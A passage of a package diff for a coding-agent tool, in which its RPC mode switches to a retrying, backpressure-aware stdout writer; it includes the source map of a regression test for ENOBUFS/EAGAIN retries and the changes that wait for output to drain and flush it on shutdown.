C,CAAC;QACxD,CAAC;gBAAS,CAAC;YACV,OAAO,EAAE,CAAC;QACX,CAAC;IACF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iDAAiD,EAAE,KAAK,IAAI,EAAE;QAChE,MAAM,KAAK,GAAG,eAAe,CAAC,SAAS,EAAE,CAAC,CAAC,CAAC;QAC5C,MAAM,OAAO,GAAG,4BAA4B,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;QAC3D,IAAI,CAAC;YACJ,cAAc,CAAC,WAAW,CAAC,CAAC;YAC5B,MAAM,cAAc,EAAE,CAAC;YACvB,MAAM,CAAC,SAAS,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC,WAAW,CAAC,CAAC,CAAC;QAChD,CAAC;gBAAS,CAAC;YACV,OAAO,EAAE,CAAC;QACX,CAAC;IACF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,8DAA8D,EAAE,KAAK,IAAI,EAAE;QAC7E,uEAAuE;QACvE,+DAA+D;QAC/D,IAAI,QAAQ,GAAG,CAAC,CAAC;QACjB,MAAM,MAAM,GAAoB;YAC/B,KAAK,CAAC,MAAc,EAAE,QAAwC;gBAC7D,QAAQ,IAAI,CAAC,CAAC;gBACd,QAAQ,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,KAAK,CAAC,OAAO,CAAC,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE,CAAC,CAAC,CAAC;gBAC/D,OAAO,KAAK,CAAC;YACd,CAAC;SACD,CAAC;QACF,MAAM,OAAO,GAAG,4BAA4B,CAAC,MAAM,CAAC,CAAC;QACrD,IAAI,CAAC;YACJ,MAAM,MAAM,CAAC,OAAO,CAAC,GAAG,EAAE,CAAC,6BAA6B,CAAC,KAAK,CAAC,EAAE,OAAO,CAAC,CAAC;YAC1E,MAAM,CAAC,KAAK,CAAC,QAAQ,EAAE,CAAC,EAAE,6CAA6C,CAAC,CAAC;QAC1E,CAAC;gBAAS,CAAC;YACV,OAAO,EAAE,CAAC;QACX,CAAC;IACF,CAAC,CAAC,CAAC;AACJ,CAAC,CAAC,CAAC","sourcesContent":["/**\n * Regression test for upstream ce0e801 — \"retry RPC stdout backpressure\" (#63).\n *\n * Bug: RPC mode wrote protocol output via a direct `process.stdout.write(...)`\n * with no handling for transient pipe-backpressure errors. Under high-volume\n * streaming the OS write buffer fills and the write reports `ENOBUFS` /\n * `EAGAIN` / `EWOULDBLOCK`, which previously crashed the process with an\n * uncaught `write ENOBUFS` and dropped queued protocol output.\n *\n * Fix: a serialized, retrying raw-stdout writer (`raw-stdout.ts`) that retries\n * transient backpressure errors after a short delay, lets callers await the\n * drain via `waitForRawStdoutBackpressure`, and flushes pending output on\n * shutdown via `flushRawStdout`.\n *\n * Against the unfixed tree the `raw-stdout` module does not exist and the import\n * fails, so this test FAILS before the fix and PASSES after.\n */\n\nimport { describe, it } from \"node:test\";\nimport assert from \"node:assert/strict\";\nimport {\n\t__setRawStdoutWriterForTests,\n\t__writeRawStdoutChunkForTests,\n\tflushRawStdout,\n\twaitForRawStdoutBackpressure,\n\twriteRawStdout,\n\ttype RawStdoutWriter,\n} from \"./raw-stdout.js\";\n\n/**\n * A writer that fails the first `failures` write attempts with a transient\n * backpressure error before succeeding, recording every chunk it accepts.\n */\nfunction makeFlakyWriter(code: string, failures: number) {\n\tconst written: string[] = [];\n\tlet remaining = failures;\n\tconst writer: RawStdoutWriter = {\n\t\twrite(chunk: string, callback: (error?: Error | null) => void) {\n\t\t\tif (chunk.length > 0 && remaining > 0) {\n\t\t\t\tremaining -= 1;\n\t\t\t\tconst err = Object.assign(new Error(`write ${code}`), { code });\n\t\t\t\tcallback(err);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Empty-string writes are flush markers (flushRawStdout) — don't record them.\n\t\t\tif (chunk.length > 0) {\n\t\t\t\twritten.push(chunk);\n\t\t\t}\n\t\t\tcallback();\n\t\t\treturn true;\n\t\t},\n\t};\n\treturn { writer, written, attemptsLeft: () => remaining };\n}\n\ndescribe(\"raw-stdout backpressure retry (ce0e801 / #63)\", () => {\n\tit(\"retries ENOBUFS and eventually flushes the chunk instead of crashing\", async () => {\n\t\tconst flaky = makeFlakyWriter(\"ENOBUFS\", 3);\n\t\tconst restore = __setRawStdoutWriterForTests(flaky.writer);\n\t\ttry {\n\t\t\twriteRawStdout(\"hello\\n\");\n\t\t\tawait waitForRawStdoutBackpressure();\n\t\t\tassert.deepEqual(flaky.written, [\"hello\\n\"], \"chunk must be written after retries\");\n\t\t\tassert.equal(flaky.attemptsLeft(), 0, \"all transient failures must have been retried\");\n\t\t} finally {\n\t\t\trestore();\n\t\t}\n\t});\n\n\tit(\"retries EAGAIN and EWOULDBLOCK the same way\", async () => {\n\t\tfor (const code of [\"EAGAIN\", \"EWOULDBLOCK\"]) {\n\t\t\tconst flaky = makeFlakyWriter(code, 2);\n\t\t\tconst restore = __setRawStdoutWriterForTests(flaky.writer);\n\t\t\ttry {\n\t\t\t\twriteRawStdout(`${code}-line\\n`);\n\t\t\t\tawait waitForRawStdoutBackpressure();\n\t\t\t\tassert.deepEqual(flaky.written, [`${code}-line\\n`]);\n\t\t\t} finally {\n\t\t\t\trestore();\n\t\t\t}\n\t\t}\n\t});\n\n\tit(\"preserves write order across multiple queued writes under backpressure\", async () => {\n\t\tconst flaky = makeFlakyWriter(\"ENOBUFS\", 2);\n\t\tconst restore = __setRawStdoutWriterForTests(flaky.writer);\n\t\ttry {\n\t\t\twriteRawStdout(\"a\\n\");\n\t\t\twriteRawStdout(\"b\\n\");\n\t\t\twriteRawStdout(\"c\\n\");\n\t\t\tawait waitForRawStdoutBackpressure();\n\t\t\tassert.deepEqual(flaky.written, [\"a\\n\", \"b\\n\", \"c\\n\"]);\n\t\t} finally {\n\t\t\trestore();\n\t\t}\n\t});\n\n\tit(\"flushRawStdout drains queued output on shutdown\", async () => {\n\t\tconst flaky = makeFlakyWriter(\"ENOBUFS\", 1);\n\t\tconst restore = __setRawStdoutWriterForTests(flaky.writer);\n\t\ttry {\n\t\t\twriteRawStdout(\"pending\\n\");\n\t\t\tawait flushRawStdout();\n\t\t\tassert.deepEqual(flaky.written, [\"pending\\n\"]);\n\t\t} finally {\n\t\t\trestore();\n\t\t}\n\t});\n\n\tit(\"rethrows non-backpressure errors instead of retrying forever\", async () => {\n\t\t// A fatal, non-transient error (e.g. an EPIPE-style code) must surface\n\t\t// rather than being swallowed and retried in an infinite loop.\n\t\tlet attempts = 0;\n\t\tconst writer: RawStdoutWriter = {\n\t\t\twrite(_chunk: string, callback: (error?: Error | null) => void) {\n\t\t\t\tattempts += 1;\n\t\t\t\tcallback(Object.assign(new Error(\"fatal\"), { code: \"EPIPE\" }));\n\t\t\t\treturn false;\n\t\t\t},\n\t\t};\n\t\tconst restore = __setRawStdoutWriterForTests(writer);\n\t\ttry {\n\t\t\tawait assert.rejects(() => __writeRawStdoutChunkForTests(\"x\\n\"), /fatal/);\n\t\t\tassert.equal(attempts, 1, \"non-backpressure errors must not be retried\");\n\t\t} finally {\n\t\t\trestore();\n\t\t}\n\t});\n});\n"]}

package/packages/pi-coding-agent/dist/modes/rpc/rpc-mode.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"rpc-mode.d.ts","sourceRoot":"","sources":["../../../src/modes/rpc/rpc-mode.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAGH,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,6BAA6B,CAAC;AAsBhE,YAAY,EACX,UAAU,EACV,qBAAqB,EACrB,sBAAsB,EACtB,aAAa,EACb,kBAAkB,EAClB,WAAW,EACX,eAAe,EACf,UAAU,GACV,MAAM,gBAAgB,CAAC;AAExB;;;GAGG;AACH,wBAAsB,UAAU,CAAC,OAAO,EAAE,YAAY,GAAG,OAAO,CAAC,KAAK,CAAC,CAu0BtE"}
+{"version":3,"file":"rpc-mode.d.ts","sourceRoot":"","sources":["../../../src/modes/rpc/rpc-mode.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAGH,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,6BAA6B,CAAC;AAuBhE,YAAY,EACX,UAAU,EACV,qBAAqB,EACrB,sBAAsB,EACtB,aAAa,EACb,kBAAkB,EAClB,WAAW,EACX,eAAe,EACf,UAAU,GACV,MAAM,gBAAgB,CAAC;AAExB;;;GAGG;AACH,wBAAsB,UAAU,CAAC,OAAO,EAAE,YAAY,GAAG,OAAO,CAAC,KAAK,CAAC,CAu1BtE"}

package/packages/pi-coding-agent/dist/modes/rpc/rpc-mode.js

@@ -15,6 +15,7 @@ import { InteractiveMode } from "../interactive/interactive-mode.js";
 import { theme } from "../interactive/theme/theme.js";
 import { createDefaultCommandContextActions } from "../shared/command-context-actions.js";
 import { attachJsonlLineReader, serializeJsonLine } from "./jsonl.js";
+import { flushRawStdout, waitForRawStdoutBackpressure, writeRawStdout } from "./raw-stdout.js";
 import { RemoteTerminal } from "./remote-terminal.js";
 /**
  * Run in RPC mode.
@@ -22,7 +23,10 @@ import { RemoteTerminal } from "./remote-terminal.js";
  */
 export async function runRpcMode(session) {
     const output = (obj) => {
-        process.stdout.write(serializeJsonLine(obj));
+        // Queue through the backpressure-safe writer instead of writing directly:
+        // under high-volume streaming a direct process.stdout.write can fail with
+        // a transient ENOBUFS/EAGAIN/EWOULDBLOCK and crash the process (ce0e801).
+        writeRawStdout(serializeJsonLine(obj));
     };
     const success = (id, command, data) => {
         if (data === undefined) {
@@ -397,6 +401,12 @@ export async function runRpcMode(session) {
             output(event);
         }
     });
+    // Apply stdout backpressure to the agent loop: after each agent event we
+    // wait for queued protocol output to drain, so a slow reader throttles the
+    // agent rather than letting the raw-stdout queue grow without bound (ce0e801).
+    const unsubscribeBackpressure = session.agent.subscribe(async () => {
+        await waitForRawStdoutBackpressure();
+    });
     // Handle a single command
     const handleCommand = async (command) => {
         const id = command.id;
@@ -681,9 +691,13 @@ export async function runRpcMode(session) {
             await currentRunner.emit({ type: "session_shutdown" });
         }
         unsubscribe();
+        unsubscribeBackpressure();
         embeddedInteractiveMode?.stop();
         detachInput();
         process.stdin.pause();
+        // Drain queued protocol output before exiting so the shutdown
+        // acknowledgement and any trailing events are not lost (ce0e801).
+        await flushRawStdout();
         process.exit(0);
     }
     const handleInputLine = async (line) => {
@@ -727,11 +741,13 @@ export async function runRpcMode(session) {
             // Handle regular commands
             const response = await handleCommand(command);
             output(response);
+            await waitForRawStdoutBackpressure();
             // Check for deferred shutdown request (idle between commands)
             await checkShutdownRequested();
         }
         catch (e) {
             output(error(undefined, "parse", `Failed to parse command: ${e.message}`));
+            await waitForRawStdoutBackpressure();
         }
     };
     detachInput = attachJsonlLineReader(process.stdin, (line) => {